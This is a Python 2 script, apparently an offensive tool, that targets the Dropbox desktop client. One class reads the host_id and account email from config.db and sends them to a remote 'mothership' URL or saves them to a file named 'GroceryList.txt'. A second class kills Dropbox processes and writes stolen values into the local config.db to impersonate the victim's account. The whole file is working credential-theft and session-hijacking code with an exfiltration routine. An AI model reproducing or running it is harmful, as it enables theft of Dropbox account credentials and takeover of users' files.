#!/usr/bin/env python

import os
import urllib2
import sqlite3
import platform
from shutil import copy

try:
    import psutil
except:
    print " [!] Unable to import python psutils"
    pass

def getDefaultPath():
    if platform.system() == 'Windows':
        return os.environ['APPDATA'] + '\\Dropbox\\config.db'
    elif platform.system() == 'Linux':
        return os.environ['HOME'] + '/.dropbox/config.db'

class HostExtractor():
    ''' Extracts information form the config.db file '''
    
    def __init__(self, path=None, mothership=None):
        if path == None:
            self.databasePath = getDefaultPath()
        else:
            self.databasePath = path
        self.mothership = mothership
    
    def executeAll(self):
        self.checkPath()
        if self.dropbox:
            self.openDatabase()
            self.parseData()
            self.saveData()
        print ' [*] All done, have a nice day!'
            
    def checkPath(self):
        if os.path.exists(self.databasePath) and os.path.isfile(self.databasePath):
            print ' [*] Found config.db:', os.path.abspath(self.databasePath)
            self.dropbox = True
        else:
            print ' [!] File does not exist (%s), unable to extract data.' % self.databasePath
            self.dropbox = False
    
    def openDatabase(self):
        connection = sqlite3.connect(self.databasePath)
        configCursor = connection.cursor()
        self.data = configCursor.execute('select * from config')
    
    def parseData(self):
        if type(self.data) != None:
            for row in self.data:
                if row[0] == u'host_id':
                    print ' [*] Extracted Host ID:', row[1]
                    self.hostId = row[1]
                elif row[0] == u'email':
                    print ' [*] Extracted Email:', row[1]
                    self.email = row[1]

    def saveData(self):
        if self.mothership != None:
            self.sendToMother()
        else:
            self.saveToFile()

    def sendToMother(self):
        print ' [*] Uploading to the mothership at:', self.mothership
        try:
            query = urllib2.Request(self.mothership + '/mothership.php?hostid=%s&email=%s' % (self.hostId, self.email))
            reply = urllib2.urlopen(query)
            print ' [*] Server reply:', reply.read()
        except:
            print ' [!] Exception thrown whilst uploading data!'
            
    def saveToFile(self):
        file = open(os.getcwd() + '/GroceryList.txt', 'a')
        file.write('=============================================\n')
        file.write(' Email: %s\n' % self.email)
        file.write(' HostID: %s\n' % self.hostId)
        file.write('=============================================\n')
        file.close()
        print ' [*] Saved data to:', os.path.abspath('GroceryList.txt')
        
class Impersonator():
    ''' Edits the local config.db file with a custom email, path and host id '''
    
    def __init__(self, path = None):
        if path == None:
            self.databasePath = getDefaultPath()
        else:
            self.databasePath = path
    
    def executeAll(self):
        self.checkProcess()
        self.checkPath()
        self.getInformation()
        self.insertData()
        print ' [*] All done, start up Dropbox and have some fun!'
    
    def checkPath(self):
        if os.path.exists(self.databasePath) and os.path.isfile(self.databasePath):
            print ' [*] Found config.db at:', self.databasePath
            backup = raw_input(' [*] Would you like to backup your current config.db file? [y/n]: ')
            if backup == 'y' or backup == 'Y':
                self.backup()
            self.Dropbox = True
        else:
            print ' [*] File does not exist (%s), please install the dropbox client.'
            self.Dropbox = False
    
    def backup(self):
        print ' [*] Backing up (%s) to the current directory...' % os.path.abspath(self.databasePath)
        copy(self.databasePath, os.getcwd() + '\\config-bkup.db')
    
    def getInformation(self):
        self.hostId = raw_input(' [*] Enter a Host Id: ').strip()
        self.email = raw_input(' [*] Enter any Email: ').strip()

    def checkProcess(self):
        list = psutil.get_process_list()
        for process in list:
            if 'Dropbox' in process.name:
                print ' [*] Killing local Dropbox process (PID: %d)...' % process.pid,
                process.kill()
                print ' done!'
    
    def insertData(self):
        print ' [*] Updating local config.db file...'
        connection = sqlite3.connect(self.databasePath)
        configCursor = connection.cursor()
        configCursor.execute('UPDATE config SET value="%s" WHERE key="host_id"' % self.hostId)
        print ' [*] Updated Host ID to:', self.hostId
        configCursor.execute('UPDATE config SET value="%s" WHERE key="email"' % self.email)
        print ' [*] Updated Email to:', self.email
        connection.commit()
        connection.close()
        print ' [*] Wrote changes to:', self.databasePath
    
# EOF :D